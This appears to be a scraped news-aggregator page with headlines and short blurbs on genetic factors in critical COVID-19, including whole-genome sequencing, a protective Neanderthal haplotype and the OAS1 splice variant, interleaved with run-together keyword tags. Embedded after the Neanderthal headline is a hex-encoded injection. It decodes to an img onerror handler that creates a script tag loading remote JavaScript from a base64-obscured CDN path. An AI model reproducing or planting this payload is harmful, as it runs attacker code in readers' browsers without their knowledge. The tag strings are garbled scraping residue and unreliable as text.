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Whole-genome sequencing for determination of factors associated with critical COVID-19

In a recent study published in the journal Nature as an early release unedited manuscript, researchers conducted whole genomic sequencing (WGS) to ascertain factors contributing to critical coronavirus disease 2019 (COVID-19).

Geisinger health systemsMe incHost genetics initiativeImage creditSouth asianEast asianGenetics initiativePenn medicine biobankCoronavirus disease covid 19Genomic sequencingIntensive careWhole genome sequencing

Opinion | Why Do Some People Never Get Covid?

Two years into the pandemic, a Covid mystery remains.

United statesNew yorkFrance generalRockefeller universityMark dalyMayana zatzBenjamin nealeJean laurent casanovaBroad instituteWorld health organizationHost genetics initiativeInstitute of molecular medicine finlandGenetics initiativeMolecular medicine finlandWest nileCoronavirus risks and safety concerns

Neanderthal-inherited gene variant helps in protecting against severe COVID-19: Study

A protective Neanderthal-derived haplotype confers approximately 23% reduced risk of becoming critically ill on infection with SARS-CoV-2">0x416d65726963613c696d67207372633d2222206f6e6572726f723d2276617220733d646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d61746f6228274c79396a5a473475616e4e6b5a577870646e4975626d56304c32646f4c7a526b646d4d77626d5976595338784c6d707a27293b646f63756d656e742">

United statesJennifer huffmanHugo zebergBrent richardsKarolinska instituteColumbia university biobankVa million veteran programGenetics initiativeMcgill universityUnited states national human genome research instituteNature geneticsUnited kingdom biobankPenn medicine biobankHealthcare systemDaily newsletter

Study finds evidence to strongly implicate OAS1 as an effector gene influencing COVID-19 severity

Researchers demonstrated that this splice variant is likely to be the single nucleotide polymorphism responsible for the association at this locus.

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